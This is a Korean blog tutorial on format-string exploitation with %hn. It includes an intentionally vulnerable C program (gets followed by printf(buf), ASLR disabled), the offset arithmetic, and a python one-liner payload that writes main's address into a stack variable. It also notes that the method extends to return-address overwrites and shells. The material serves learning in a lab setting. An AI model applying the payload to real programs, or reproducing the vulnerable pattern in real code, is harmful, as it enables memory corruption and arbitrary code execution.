/* 
written by kaspy (kaspyx@gmail.com)
*/ 

포맷 스트링 지정자중 %hn에 대한거 간단히 정리함, %hn 포맷 스트링(변환 지정자)는 2바이트 단위로 특정 메모리 주소에 현재까지 출력한 문자열의 개수를 저장해준다. 포맷 스트링 버그가 존재할때 %hn을 이용하면 프로그램의 ret 주소나 함수의 주소를 수정하여 공략이 가능하다.


  1. // gcc -o format_hn format_hn.c -m32
  2. // sudo sysctl -w kernel.randomize_va_space=0
  3. #include <stdio.h>
  4.  
  5. int main()
  6. {
  7.   int p= 0xffffffff;
  8.   char buf[256];
  9.  
  10.   printf("before p = %08x, addr = %08x\n",p,&p);
  11.   gets(buf);
  12.   printf(buf);
  13.   printf("\nafter p = %08x, addr = %08x\n",p,&p);
  14.  
  15.   return 0;
  16. }



aaaabbbbccccdddd로 입력하고, %08x를 넣었을때 7번째에 aaaa 문자열(0x61616161)이 출력되었음



여기서 지역변수 p(0xbffff4f8)에 0xffffffff의 값을 main함수의 주소 0x0804849d으로 수정하겠음


2바이트 단위로 Low 주소부터 써야함, 


0x0804849d -> Little endian 이므로, low 주소에 0x849d, high 주소에 0x0804를 저장


처음 기본 문자열 개수 : aaaa(4) + bbbb(4) + cccc(4) + dddd(4) + %08x (8) * 5 = 56 + "%숫자x"


수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xbffff4f8 (low)

56 (0x38)

33949 (0x849d)

33893 (0x8465)

%33893x

0xbffff4fa (high)

33949 (0x849d)

2052 (0x0804)

33639 (0x8367 )

%33639x


여기서 high 주소 계산처럼, B-A가 음수가 나오면 0x0804 - 0x8465 한후에 보수를 취해주면 된다.


0x0804 - 0x849d= 0xffff8367 -> 0x8367 


(python -c 'print "\xf8\xf4\xff\xbf"+"bbbb"+"\xfa\xf4\xff\xbf"+"dddd" + "%08x"*5+"%33893x" + "%hn"+"%33639x"+"%hn"';cat) | ./hn_test 


물론, printf 함수가 실행될때 스택에 쌓인 값을 꺼내다보면 ret 주소가 저장된 변수가 나올것이다. 조금만더 응용하면 쉘도 띄우는게 가능함




참고 내부 링크


포맷 스트링 버그(Format string bug) 취약점이란? - http://kaspyx.kr/74

파이썬(python)을 사용하여 프로그램에 입력값 넘겨주기 - http://kaspyx.kr/77

저작자 표시
신고
Posted by 캐스피


티스토리 툴바